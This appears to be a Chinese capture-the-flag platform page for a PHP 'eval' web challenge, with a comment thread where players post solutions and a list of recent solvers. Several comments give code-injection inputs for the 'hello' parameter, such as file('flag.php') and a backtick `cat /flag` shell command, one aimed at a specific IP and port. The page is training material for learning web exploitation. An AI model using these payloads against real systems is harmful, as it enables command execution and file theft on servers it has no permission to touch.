evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 16939
提  示:
描  述:
eval
评论
K463726543 2年前

hello=highlight_file('./flag.php') highlight_file() 使用highlight()函数能在编译器编译后能显示出文件源代码,并且在浏览器中打开时也能显示源代码。

回复 1

SecI302 2年前

踩坑了用这个file_get_contents(“/flag”); 读了半天都是只显示长度没有内容

回复 0

Cat00011cat 2年前

http://114.67.175.224:10794/?hello=file(%27flag.php%27)

回复 1
musewithwind 2年前

@D4C 构造php函数,看代码,vardump函数用于打印变量信息,file函数获取的是flag.php源文件,此时使用vardump打印即是包括注释的flag.php源代码,flag就出来了

回复 0

D4C 2年前

大佬能不能给小白讲讲原理啊

回复 0

小王爱吃螺蛳粉 2年前

有eval可能有命令提交漏洞,知道本题引用了“flag.php”,便可以通过file函数将eval("var_dump($a);")就是把$a的内容打印出来

回复 1

风灵丨玉秀 2年前

/?hello="flag.php"

回复 0

cattact 2年前

知识点: 1.$a= @$_REQUEST['hello']Request:使用 Request 对象访问任何基于 HTTP 请求传递的所有信息 2.eval("var_dump($a);")就是把$a的内容打印出来 3.file()解释: file(path,include_path,context) 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换

回复 3

solomony 2年前

?hello=`cat /flag`

回复 3
karter 2年前

@sxiaobai system函数里的东西要加引号

回复 0

sxiaobai 2年前

为什么?hello=system(cat /flag)不行啊

回复 0

布吉岛 2年前

直接给hello复制传到a上,然后页面会将a的信息显示出来。 ?hello=file('flag.php')

回复 0

bugkiller 2年前

var_dump()方法,判断一个变量的类型与长度,并输出变量的数值,如果变量有值,则输出是变量的值,并返回数据类型。 eval() 函数把字符串按照 PHP 代码来计算。 echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:\www\test.php show_source() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

回复 0

EE0011 2年前

cat:输出,正序 tac:输出,反序

回复 0

WriteUp

image
harry

1 金币

评分(9)

解题动态

19588971187 攻破了该题 1小时前
YangZoe 攻破了该题 1小时前
妈!有人打我 攻破了该题 3小时前
18970664307 攻破了该题 5小时前
bugkuxuzou 攻破了该题 5小时前
testda 攻破了该题 7小时前
satuo 攻破了该题 7小时前
goeasy 攻破了该题 11小时前
867736371 攻破了该题 11小时前
废柴小白 攻破了该题 11小时前
19893123836 攻破了该题 12小时前
tcg979 攻破了该题 1天前
AX渊仪 攻破了该题 1天前
qwerfsafafa 攻破了该题 1天前
太水了410410 攻破了该题 1天前
6145 攻破了该题 1天前
zer0_h 攻破了该题 1天前
Hehe0619 攻破了该题 1天前
李嘉欣a 攻破了该题 1天前
嗨客111 攻破了该题 1天前
问题反馈